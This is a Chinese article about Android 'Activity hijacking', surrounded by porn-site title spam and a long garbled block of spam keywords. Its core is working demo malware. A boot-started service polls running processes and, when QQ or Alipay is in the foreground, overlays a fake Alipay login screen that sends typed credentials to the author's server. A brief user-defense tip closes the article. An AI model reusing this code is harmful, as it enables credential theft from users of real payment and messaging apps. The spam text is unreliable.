精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

大談android安全1——Activity劫持與用戶防范

移動開發(fā)
當(dāng)AmS收到要啟動或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動,前一個(gè)Activity就會停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。

1、Activity調(diào)度機(jī)制

 

在android系統(tǒng)中,不同的程序之間的切換基本上是無縫的,它們之間的切換只不過是Activity的切換。Activity的概念相當(dāng)于一個(gè)與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個(gè)應(yīng)用想啟動或停止一個(gè)進(jìn)程,都是先報(bào)告給AmS。

 

當(dāng)AmS收到要啟動或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動,前一個(gè)Activity就會停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。每有一個(gè)Activity啟動,它就壓入歷史棧頂,并在手機(jī)上顯示。當(dāng)用戶按下back鍵時(shí),頂部Activity彈出,恢復(fù)前一個(gè)Activity,棧頂指向當(dāng)前的Activity。

 

2、Android設(shè)計(jì)上的缺陷——Activity劫持

 

如果在啟動一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。

 

<img class="alignnone size-full wp-image-621" title="Activity劫持 演示文檔" src="http://msdxblog-wordpress.stor.sinaapp.com/uploads/2012/08/Activity劫持-演示文檔.png" alt="" width="960" height="720" />

 

但是這樣的設(shè)計(jì)卻有一個(gè)缺陷。如果這個(gè)Activity是用于盜號的偽裝Activity呢?

 

在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個(gè)程序,啟動一個(gè)后臺的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動時(shí),就啟動一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。

 

3、示例

 

下面是示例代碼。

 

AndroidManifest.xml文件的代碼。

 

 

  1.  <?xml version="1.0" encoding="utf-8"?> 
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android" 
  3. package="com.sinaapp.msdxblog.android.activityhijacking" 
  4. android:versionCode="1" 
  5. android:versionName="1.0" > 
  6. <uses-sdk android:minSdkVersion="4" /> 
  7. <uses-permission android:name="android.permission.INTERNET" /> 
  8. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> 
  9. <application 
  10. android:name=".HijackingApplication" 
  11. android:icon="@drawable/icon" 
  12. android:label="@string/app_name" > 
  13. <activity 
  14. android:name=".activity.HijackingActivity" 
  15. android:theme="@style/transparent" 
  16. android:label="@string/app_name" > 
  17. <intent-filter> 
  18. <action android:name="android.intent.action.MAIN" /> 
  19. <category android:name="android.intent.category.LAUNCHER" /> 
  20. </intent-filter> 
  21. </activity> 
  22. <activity android:name=".activity.sadstories.JokeActivity" /> 
  23. <activity android:name=".activity.sadstories.QQStoryActivity" /> 
  24. <activity android:name=".activity.sadstories.AlipayStoryActivity" /> 
  25. <receiver 
  26. android:name=".receiver.HijackingReceiver" 
  27. android:enabled="true" 
  28. android:exported="true" > 
  29. <intent-filter> 
  30. <action android:name="android.intent.action.BOOT_COMPLETED" /> 
  31. </intent-filter> 
  32. </receiver> 
  33. <service android:name=".service.HijackingService" > 
  34. </service> 
  35. </application> 
  36. </manifest> 
  37.  
  38. 在以上的代碼中,聲明了一個(gè)服務(wù)service,用于枚舉當(dāng)前運(yùn)行的進(jìn)程。其中如果不想開機(jī)啟動的話,甚至可以把以上receiver部分的代碼,及聲明開機(jī)啟動的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號密碼),單從AndroidManifest文件是看不出任何異常的。 
  39.  
  40. 下面是正常的Activity的代碼。在這里只是啟動用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開機(jī)啟動,則這一步也可以省略。 
  41. Java代碼 復(fù)制代碼 收藏代碼 
  42.  
  43. package com.sinaapp.msdxblog.android.activityhijacking.activity; 
  44. import android.app.Activity; 
  45. import android.content.Intent; 
  46. import android.os.Bundle; 
  47. import android.util.Log; 
  48. import com.sinaapp.msdxblog.android.activityhijacking.R; 
  49. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; 
  50. public class HijackingActivity extends Activity { 
  51. /** Called when the activity is first created. */ 
  52. @Override 
  53. public void onCreate(Bundle savedInstanceState) { 
  54. super.onCreate(savedInstanceState); 
  55. setContentView(R.layout.main); 
  56. Intent intent2 = new Intent(this, HijackingService.class); 
  57. startService(intent2); 
  58. Log.w("hijacking", "activity啟動用來劫持的Service"); 
  59.  
  60. 如果想要開機(jī)啟動,則需要一個(gè)receiver,即廣播接收器,在開機(jī)時(shí)得到開機(jī)啟動的廣播,并在這里啟動服務(wù)。如果沒有開機(jī)啟動(這跟上面至少要實(shí)現(xiàn)一處,不然服務(wù)就沒有被啟動了),則這一步可以省略。 
  61. Java代碼 復(fù)制代碼 收藏代碼 
  62.  
  63. /* 
  64. * @(#)HijackingBroadcast.java Project:ActivityHijackingDemo 
  65. * Date:2012-6-7 
  66. * Copyright (c) 2011 CFuture09, Institute of Software, 
  67. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  68. * All rights reserved. 
  69. * Licensed under the Apache License, Version 2.0 (the "License"); 
  70. * you may not use this file except in compliance with the License. 
  71. * You may obtain a copy of the License at 
  72. * http://www.apache.org/licenses/LICENSE-2.0 
  73. * Unless required by applicable law or agreed to in writing, software 
  74. * distributed under the License is distributed on an "AS IS" BASIS, 
  75. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  76. * See the License for the specific language governing permissions and 
  77. * limitations under the License. 
  78. */ 
  79. package com.sinaapp.msdxblog.android.activityhijacking.receiver; 
  80. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService; 
  81. import android.content.BroadcastReceiver; 
  82. import android.content.Context; 
  83. import android.content.Intent; 
  84. import android.util.Log; 
  85. /** 
  86. * @author Geek_Soledad (66704238@51uc.com) 
  87. */ 
  88. public class HijackingReceiver extends BroadcastReceiver { 
  89. @Override 
  90. public void onReceive(Context context, Intent intent) { 
  91. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { 
  92. Log.w("hijacking", "開機(jī)啟動"); 
  93. Intent intent2 = new Intent(context, HijackingService.class); 
  94. context.startService(intent2); 
  95. Log.w("hijacking", "啟動用來劫持的Service"); 
  96.  
  97. 下面這個(gè)HijackingService類可就關(guān)鍵了,即用來進(jìn)行Activity劫持的。 
  98. 在這里,將運(yùn)行枚舉當(dāng)前運(yùn)行的進(jìn)程,發(fā)現(xiàn)目標(biāo)進(jìn)程,彈出偽裝程序。 
  99. 代碼如下: 
  100. Java代碼 復(fù)制代碼 收藏代碼 
  101.  
  102. /* 
  103. * @(#)HijackingService.java Project:ActivityHijackingDemo 
  104. * Date:2012-6-7 
  105. * Copyright (c) 2011 CFuture09, Institute of Software, 
  106. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  107. * All rights reserved. 
  108. * Licensed under the Apache License, Version 2.0 (the "License"); 
  109. * you may not use this file except in compliance with the License. 
  110. * You may obtain a copy of the License at 
  111. * http://www.apache.org/licenses/LICENSE-2.0 
  112. * Unless required by applicable law or agreed to in writing, software 
  113. * distributed under the License is distributed on an "AS IS" BASIS, 
  114. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  115. * See the License for the specific language governing permissions and 
  116. * limitations under the License. 
  117. */ 
  118. package com.sinaapp.msdxblog.android.activityhijacking.service; 
  119. import java.util.HashMap; 
  120. import java.util.List; 
  121. import android.app.ActivityManager; 
  122. import android.app.ActivityManager.RunningAppProcessInfo; 
  123. import android.app.Service; 
  124. import android.content.Context; 
  125. import android.content.Intent; 
  126. import android.os.Handler; 
  127. import android.os.IBinder; 
  128. import android.util.Log; 
  129. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; 
  130. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; 
  131. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; 
  132. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity; 
  133. /** 
  134. * @author Geek_Soledad (66704238@51uc.com) 
  135. */ 
  136. public class HijackingService extends Service { 
  137. private boolean hasStart = false
  138. // 這是一個(gè)悲傷的故事…… 
  139. HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>(); 
  140. // Timer mTimer = new Timer(); 
  141. Handler handler = new Handler(); 
  142. Runnable mTask = new Runnable() { 
  143. @Override 
  144. public void run() { 
  145. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); 
  146. List<RunningAppProcessInfo> appProcessInfos = activityManager 
  147. .getRunningAppProcesses(); 
  148. // 枚舉進(jìn)程 
  149. Log.w("hijacking", "正在枚舉進(jìn)程"); 
  150. for (RunningAppProcessInfo appProcessInfo : appProcessInfos) { 
  151. // 如果APP在前臺,那么——悲傷的故事就要來了 
  152. if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { 
  153. if (mSadStories.containsKey(appProcessInfo.processName)) { 
  154. // 進(jìn)行劫持 
  155. hijacking(appProcessInfo.processName); 
  156. } else { 
  157. Log.w("hijacking", appProcessInfo.processName); 
  158. handler.postDelayed(mTask, 1000); 
  159. /** 
  160. * 進(jìn)行劫持 
  161. * @param processName 
  162. */ 
  163. private void hijacking(String processName) { 
  164. Log.w("hijacking", "有程序要悲劇了……"); 
  165. if (((HijackingApplication) getApplication()) 
  166. .hasProgressBeHijacked(processName) == false) { 
  167. Log.w("hijacking", "悲劇正在發(fā)生"); 
  168. Intent jackingIsComing = new Intent(getBaseContext(), 
  169. mSadStories.get(processName)); 
  170. jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 
  171. getApplication().startActivity(jackingIsComing); 
  172. ((HijackingApplication) getApplication()) 
  173. .addProgressHijacked(processName); 
  174. Log.w("hijacking", "已經(jīng)劫持"); 
  175. }; 
  176. @Override 
  177. public IBinder onBind(Intent intent) { 
  178. return null; 
  179. @Override 
  180. public void onStart(Intent intent, int startId) { 
  181. super.onStart(intent, startId); 
  182. if (!hasStart) { 
  183. mSadStories.put("com.sinaapp.msdxblog.android.lol", 
  184. JokeActivity.class); 
  185. mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class); 
  186. mSadStories.put("com.eg.android.AlipayGphone", 
  187. AlipayStoryActivity.class); 
  188. handler.postDelayed(mTask, 1000); 
  189. hasStart = true
  190. @Override 
  191. public boolean stopService(Intent name) { 
  192. hasStart = false
  193. Log.w("hijacking", "劫持服務(wù)停止"); 
  194. ((HijackingApplication) getApplication()).clearProgressHijacked(); 
  195. return super.stopService(name); 
  196.  
  197. 下面是支付寶的偽裝類(布局文件就不寫了,這個(gè)是對老版本的支付寶界面的偽裝,新的支付寶登錄界面已經(jīng)完全不一樣了。表示老版本的支付寶的界面相當(dāng)?shù)疤郏x從它反編譯出來的代碼苦逼地讀了整個(gè)通宵結(jié)果還是沒讀明白。它的登錄界面各種布局蛋疼地嵌套了十層,而我為了實(shí)現(xiàn)跟它一樣的效果也蛋疼地嵌套了八層的組件)。 
  198. Java代碼 復(fù)制代碼 收藏代碼 
  199.  
  200. /* 
  201. * @(#)QQStoryActivity.java Project:ActivityHijackingDemo 
  202. * Date:2012-6-7 
  203. * Copyright (c) 2011 CFuture09, Institute of Software, 
  204. * Guangdong Ocean University, Zhanjiang, GuangDong, China. 
  205. * All rights reserved. 
  206. * Licensed under the Apache License, Version 2.0 (the "License"); 
  207. * you may not use this file except in compliance with the License. 
  208. * You may obtain a copy of the License at 
  209. * http://www.apache.org/licenses/LICENSE-2.0 
  210. * Unless required by applicable law or agreed to in writing, software 
  211. * distributed under the License is distributed on an "AS IS" BASIS, 
  212. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 
  213. * See the License for the specific language governing permissions and 
  214. * limitations under the License. 
  215. */ 
  216. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories; 
  217. import android.app.Activity; 
  218. import android.os.Bundle; 
  219. import android.os.Handler; 
  220. import android.os.HandlerThread; 
  221. import android.text.Html; 
  222. import android.view.View; 
  223. import android.widget.Button; 
  224. import android.widget.EditText; 
  225. import android.widget.TextView; 
  226. import com.sinaapp.msdxblog.android.activityhijacking.R; 
  227. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil; 
  228. /** 
  229. * @author Geek_Soledad (66704238@51uc.com) 
  230. */ 
  231. public class AlipayStoryActivity extends Activity { 
  232. private EditText name; 
  233. private EditText password; 
  234. private Button mBtAlipay; 
  235. private Button mBtTaobao; 
  236. private Button mBtRegister; 
  237. private TextView mTvFindpswd; 
  238. @Override 
  239. protected void onCreate(Bundle savedInstanceState) { 
  240. super.onCreate(savedInstanceState); 
  241. this.setTheme(android.R.style.Theme_NoTitleBar); 
  242. setContentView(R.layout.alipay); 
  243. mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay); 
  244. mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao); 
  245. mBtRegister = (Button) findViewById(R.id.alipay_bt_register); 
  246. mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd); 
  247. mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]")); 
  248. mBtAlipay.setSelected(true); 
  249. name = (EditText) findViewById(R.id.input_name); 
  250. password = (EditText) findViewById(R.id.input_password); 
  251. public void onButtonClicked(View v) { 
  252. switch (v.getId()) { 
  253. case R.id.alipay_bt_login: 
  254. HandlerThread handlerThread = new HandlerThread("send"); 
  255. handlerThread.start(); 
  256. new Handler(handlerThread.getLooper()).post(new Runnable() { 
  257. @Override 
  258. public void run() { 
  259. // 發(fā)送獲取到的用戶密碼 
  260. SendUtil.sendInfo(name.getText().toString(), password 
  261. .getText().toString(), "支付寶"); 
  262. }); 
  263. moveTaskToBack(true); 
  264. break; 
  265. case R.id.alipay_bt_alipay: 
  266. chooseToAlipay(); 
  267. break; 
  268. case R.id.alipay_bt_taobao: 
  269. chooseToTaobao(); 
  270. break; 
  271. default: 
  272. break; 
  273. private void chooseToAlipay() { 
  274. mBtAlipay.setSelected(true); 
  275. mBtTaobao.setSelected(false); 
  276. name.setHint(R.string.alipay_name_alipay_hint); 
  277. mTvFindpswd.setVisibility(View.VISIBLE); 
  278. mBtRegister.setVisibility(View.VISIBLE); 
  279. private void chooseToTaobao() { 
  280. mBtAlipay.setSelected(false); 
  281. mBtTaobao.setSelected(true); 
  282. name.setHint(R.string.alipay_name_taobao_hint); 
  283. mTvFindpswd.setVisibility(View.GONE); 
  284. mBtRegister.setVisibility(View.GONE); 
  285. }  

 

 

 

上面的其他代碼主要是為了讓界面的點(diǎn)擊效果與真的支付寶看起來盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。

 

至于SendUtil我就不提供了,它是向我寫的服務(wù)器端發(fā)送一個(gè)HTTP請求,將用戶密碼發(fā)送出去。

 

4、用戶防范

 

這里我將說下我發(fā)現(xiàn)的防范的方法,非常簡單。這個(gè)方法是對用戶而言的。android手機(jī)均有一個(gè)HOME鍵(即小房子的那個(gè)圖標(biāo)),長按可以看到近期任務(wù)(前幾天發(fā)現(xiàn)一個(gè)奇葩的手機(jī),居然是短按一個(gè)鍵的,而這個(gè)鍵長按時(shí)是彈出MENU菜單,太奇葩了)。對于我所用的HTC G14而言,顯示的最近的一個(gè)是上一個(gè)運(yùn)行的程序。小米顯示的最近的一個(gè)是當(dāng)前運(yùn)行的程序。所以,在要輸入密碼進(jìn)行登錄時(shí),可以通過長按HOME鍵查看近期任務(wù),以我的手機(jī)為例,如果在登錄QQ時(shí)長按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個(gè)登錄界面就極有可能是偽裝了,切換到另一個(gè)程序,再查看近期任務(wù),就可以知道這個(gè)登錄界面是來源于哪個(gè)程序了。

 

如果是小米手機(jī)的話,在進(jìn)行登錄時(shí),如果查看的近期任務(wù)的第一個(gè)不是自己要登錄的那個(gè)程序的名字,則它就是偽裝的。

 

目前對于這種Activity劫持,沒有發(fā)現(xiàn)有任何手機(jī)查殺軟件可以主動防范。而我所知的,也只有我發(fā)現(xiàn)的這一方法可以判別。如果有新的消息,歡迎參加討論。

責(zé)任編輯:chenqingxiang 來源: 360圖書館
相關(guān)推薦

2015-11-09 14:37:45

Android安全

2012-02-17 17:07:30

Android安全Activity劫持

2014-07-22 13:52:45

2010-09-09 22:41:18

2017-03-23 09:13:56

2012-12-25 13:45:37

2017-03-15 10:00:15

2013-05-20 10:20:02

2010-12-15 17:19:34

2015-11-09 14:46:49

Android安全

2023-12-20 14:42:59

2009-07-05 11:27:09

2020-07-15 09:42:35

金融安全3.0安全風(fēng)險(xiǎn)剖析

2016-10-10 13:51:42

2022-07-04 09:00:00

帳戶劫持信息安全攻擊

2025-03-25 14:02:30

2013-09-17 11:24:59

2011-07-30 13:35:00

2011-07-19 09:11:30

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

日韩av首页| 在线激情网站| 日韩精品视频网| 久热在线中文字幕色999舞| 日日夜夜精品视频免费观看| 天堂网在线最新版www中文网| 国产精品免费观看视频| 国产精品一区视频网站| 怡红院男人天堂| 在线高清一区| 久久在线免费观看视频| 97超碰在线免费观看| 国产激情一区| 一本久久综合亚洲鲁鲁五月天| 夜夜春亚洲嫩草影视日日摸夜夜添夜| 精品毛片在线观看| 捆绑调教美女网站视频一区| 欧美激情中文字幕在线| 久草福利资源在线| 国产成人精品一区二区免费看京 | 一区二区久久久久| 无码免费一区二区三区免费播放| 性做久久久久久久久久| 美女视频免费一区| 国产成人欧美在线观看| 精品一级少妇久久久久久久| 日韩精品诱惑一区?区三区| 日韩电影第一页| 欧美性生交xxxxx| 成人在线视频国产| 欧美日韩久久不卡| 国产九九在线视频| 桃花岛成人影院| 精品人伦一区二区三区蜜桃免费 | 久久久噜噜噜久久狠狠50岁| 欧美激情a在线| 日本黄色片免费观看| 成人在线免费观看网站| 亚洲欧美日韩另类| 四虎永久免费影院| 日本欧美高清| 亚洲国产精彩中文乱码av| 亚洲精品鲁一鲁一区二区三区 | 欧美一区二区视频在线| 日韩a在线观看| 99精品视频一区二区| 国产伦精品一区二区三区照片91| 精品国产99久久久久久宅男i | 五月天激情小说| 亚洲乱码一区| 精品国产乱码久久久久久夜甘婷婷| 午夜免费福利视频在线观看| 久久久国产精品网站| 欧美日韩国产首页| 日韩av自拍偷拍| 久久九九精品视频| 精品国产乱码久久久久久久| 欧美丰满熟妇bbb久久久| ccyy激情综合| 亚洲激情在线观看视频免费| 亚洲熟女乱综合一区二区三区| 欧美日韩一区二区三区四区不卡| 亚洲国产欧美久久| 女~淫辱の触手3d动漫| 黑人操亚洲人| www.国产一区| 国产一级做a爱免费视频| 亚洲精品1区2区| 欧美在线观看网站| 中文字幕+乱码+中文乱码91| 久久99精品国产.久久久久| 91在线观看免费网站| 午夜美女福利视频| 91免费精品国自产拍在线不卡| 茄子视频成人在线观看| 五月天婷婷在线视频| 亚洲人精品一区| av女优在线播放| 极品美女一区| 91麻豆精品国产91久久久资源速度 | 日韩中文不卡| 成人高清免费在线| 激情懂色av一区av二区av| 91激情视频在线| 五月天婷婷导航| 亚洲国产成人精品女人久久| 欧洲毛片在线视频免费观看| 久久精品欧美视频| 国产无套在线观看| 日韩精品久久理论片| 91在线看www| 日本大臀精品| 亚洲人成网站在线| 中文字幕无码精品亚洲35| 精品视频一区二区三区四区五区| 日韩一区二区三区免费观看| 中国黄色a级片| 欧美成人精品一区二区三区在线看| 欧美激情亚洲另类| 亚洲午夜激情视频| proumb性欧美在线观看| 亚洲乱码一区二区三区三上悠亚| 欧洲中文在线| 欧美三级一区二区| 一本色道久久hezyo无码| 成人网18免费网站| 97香蕉超级碰碰久久免费的优势| 一本色道久久综合精品婷婷 | 91传媒视频免费| 免费毛片在线| 亚洲一区二区三区四区的 | 国产成人无遮挡在线视频| 欧美激情第六页| 性欧美videoshd高清| 欧美最猛性xxxxx直播| 成人午夜精品无码区| 欧美好骚综合网| 日韩av电影手机在线| 草逼视频免费看| 亚洲欧洲99久久| 日韩无套无码精品| 免费看成人人体视频| 欧美激情极品视频| 国产精品日韩无码| 国产精品你懂的在线欣赏| av免费观看网| 超碰97久久国产精品牛牛| 久久九九热免费视频| 中文字幕在线播放日韩| 久久精品视频网| 日韩在线视频在线观看| 国产精品videossex| 久久97久久97精品免视看| 一卡二卡在线观看| 中国av一区二区三区| 毛片av免费在线观看| 天天躁日日躁狠狠躁欧美巨大小说 | 欧美三级一区二区| 日韩欧美黄色网址| 奇米精品一区二区三区在线观看一 | 国产成人手机在线| 亚洲综合丁香婷婷六月香| 国产欧美精品一二三| 欧美超碰在线| 成人高清视频观看www| 欧美a在线看| 欧美日本韩国一区二区三区视频 | 国产在线高清| 在线观看国产91| 国产人妻大战黑人20p| 老司机午夜精品视频在线观看| 免费日韩av电影| 亚洲伊人av| 国产一区二区三区直播精品电影| 91视频久久久| 国产精品毛片久久久久久久| 性chinese极品按摩| 日韩综合在线| 亚洲最大福利视频网| 天堂va在线| 亚洲电影天堂av | 石原莉奈在线亚洲二区| 日韩成人在线资源| 国产精品蜜月aⅴ在线| x99av成人免费| 国产高清免费观看| 偷偷要91色婷婷| 免费观看av网站| 蜜桃91丨九色丨蝌蚪91桃色| 国产人妻互换一区二区| 4438全国亚洲精品观看视频| 欧美亚洲另类制服自拍| 国产中文字幕在线| 欧美丰满一区二区免费视频| 免费看一级一片| 91视频一区二区| 无需播放器的av| 欧美日韩亚洲一区在线观看| 精品国产一区二区三区免费| 欧美日韩成人影院| 久久精品国产免费观看| 欧美 日韩 国产 成人 在线 91| 欧美日韩一区免费| 免费成人美女女在线观看| 国产91丝袜在线播放九色| 久久婷婷国产精品| 亚洲一级淫片| 欧美乱偷一区二区三区在线| 日日夜夜亚洲| 2020久久国产精品| 美女国产在线| 精品视频中文字幕| 99产精品成人啪免费网站| 欧美日韩国产一区二区三区| 成年人视频软件| 91小视频在线免费看| 精品亚洲视频在线| 欧美亚洲视频| 91免费版看片| 日韩aaaa| 久久久久久草| 日韩精品一区国产| 国产精品热视频| sm捆绑调教国产免费网站在线观看| 中文字幕亚洲一区| 性xxxx18| 精品国产乱码久久久久久夜甘婷婷| 中文字幕日韩免费| 亚洲成人在线网站| 亚洲精品卡一卡二| 国产精品污www在线观看| 国产黑丝一区二区| 国产精品亚洲人在线观看| 激情视频综合网| 亚洲国产专区| 久久香蕉视频网站| 久久久久电影| 一区二区三区四区不卡| 中文有码一区| 国产一区二区三区四区hd| 老司机亚洲精品一区二区| 国产精品久久久久久久久久三级 | 欧美日韩国产一级二级| 国产寡妇亲子伦一区二区三区四区 | 一区二区三区电影| 色棕色天天综合网| 精品一区二区三区自拍图片区| 九色精品蝌蚪| 亚洲最大福利视频网站| av在线亚洲一区| 国产日韩在线视频| 成人午夜在线| 国产精品视频久久久久| 国产成人精品一区二三区在线观看 | y97精品国产97久久久久久| 川上优的av在线一区二区| 亚洲免费电影一区| 日韩在线无毛| 亚洲欧美变态国产另类| 欧美zozo| 亚洲午夜精品久久久久久久久久久久 | 自拍亚洲欧美老师丝袜| 成人同人动漫免费观看| 亚洲视频导航| 66久久国产| 日韩不卡视频一区二区| 中文乱码免费一区二区三区下载| 国产日本欧美在线| 91欧美在线| 九九久久九九久久| 国产一区激情| 欧美啪啪免费视频| 久久亚洲色图| 高潮一区二区三区| 国产成人综合自拍| 影音先锋人妻啪啪av资源网站| 波多野结衣在线一区| 天天插天天射天天干| 久久日韩粉嫩一区二区三区| 亚洲v国产v欧美v久久久久久| 国产欧美一区二区精品性| 特级西西人体高清大胆| 亚洲日本在线天堂| 久久午夜无码鲁丝片| 岛国精品视频在线播放| 国产精品尤物视频| 这里是久久伊人| 欧美在线 | 亚洲| 亚洲美女视频网| 欧美精品电影| 欧美精品久久久久久久久久| 国产精品蜜芽在线观看| 国产精品视频26uuu| 成人动漫视频在线观看| 国产精品二区三区| 久草精品在线| 国产经典久久久| 99精品国产福利在线观看免费| 爆乳熟妇一区二区三区霸乳| 精品一区二区三区在线播放| 国产污在线观看| 国产日韩三级在线| 福利所第一导航| 欧美性猛交xxxx| 国产尤物在线观看| 日韩精品中文字幕在线| 在线免费看av| 国外色69视频在线观看| 精品久久福利| 九色综合日本| 999久久久91| 无码播放一区二区三区| 国产综合色精品一区二区三区| japanese在线观看| 国产精品国产精品国产专区不片 | 操你啦视频在线| 日本欧美精品在线| 97se亚洲国产一区二区三区| 日韩理论片在线观看| 韩日精品在线| 污污视频网站在线| 国产亚洲一二三区| 国产在线观看免费av| 欧美日韩中文精品| 亚欧在线观看视频| 欧美二区乱c黑人| 福利视频一区| 麻豆精品蜜桃一区二区三区| 欧美韩国一区| 亚洲免费999| 欧美国产视频在线| 国产成人在线观看网站| 欧美一区二区三区不卡| 北岛玲一区二区三区| 2018中文字幕一区二区三区| 日韩免费成人| 一区二区精品视频| 免费视频一区二区| 五月婷婷综合在线观看| 亚洲国产精品视频| 国产丰满美女做爰| 久久久精品电影| jvid一区二区三区| 美女被啪啪一区二区| 在线免费观看欧美| 日本国产在线视频| 亚洲一区二区三区在线播放| 精品国产va久久久久久久| 精品国产欧美一区二区三区成人| 精品网站在线| 日韩欧美在线电影| 日韩精品欧美成人高清一区二区| 中文字幕一区三区久久女搜查官| 亚洲国产一区二区在线播放| 成人av一区二区三区在线观看 | 天堂资源在线| 国产一区福利视频| 一区在线视频观看| 中文字幕天堂网| 亚洲午夜电影网| 污污的视频网站在线观看| 国内精久久久久久久久久人| 国内精品偷拍| 久久久久久久中文| 久久综合九色欧美综合狠狠| 国产黄色免费观看| 国产手机视频精品| 国产高清不卡| 日韩电影大全在线观看| 人人精品人人爱| 91人妻一区二区三区蜜臀| 777久久久精品| 欧美韩日亚洲| 国产一区二区高清不卡| 小嫩嫩精品导航| 欧美丰满美乳xxⅹ高潮www| 欧美日韩性生活| а√资源新版在线天堂| 国产精品污www一区二区三区| 亚洲精品影院在线观看| 黄色在线观看av| 欧美性大战久久久久久久| 日日夜夜精品一区| 91亚色免费| 国产欧美日韩一级| 69精品无码成人久久久久久| 欧美久久久久久久久中文字幕| h视频在线免费观看| 国产精品嫩草在线观看| 午夜亚洲影视| 亚洲AV成人无码精电影在线| 欧美电影精品一区二区| 免费v片在线观看| 亚洲一区二区三区免费观看| 国产精品中文欧美| 黄色片免费观看视频| 在线精品视频视频中文字幕| 日本精品视频| 国产午夜伦鲁鲁| 日韩理论在线观看| 色呦呦视频在线| 国产免费成人av| 亚洲日本国产| 日本高清黄色片| 精品国产凹凸成av人导航| 深夜视频一区二区| 国产中文字幕乱人伦在线观看| 国产婷婷色一区二区三区| 北条麻妃一二三区| 国产精品女主播| 伊人久久大香线蕉综合热线 | 国产精品视频免费在线| 亚洲视频观看| 青青青视频在线播放| 亚洲第一精品自拍| 韩国精品视频在线观看| 日本丰满少妇xxxx| 亚洲视频中文字幕| 国产在线视频福利| 国产精品视频在线免费观看|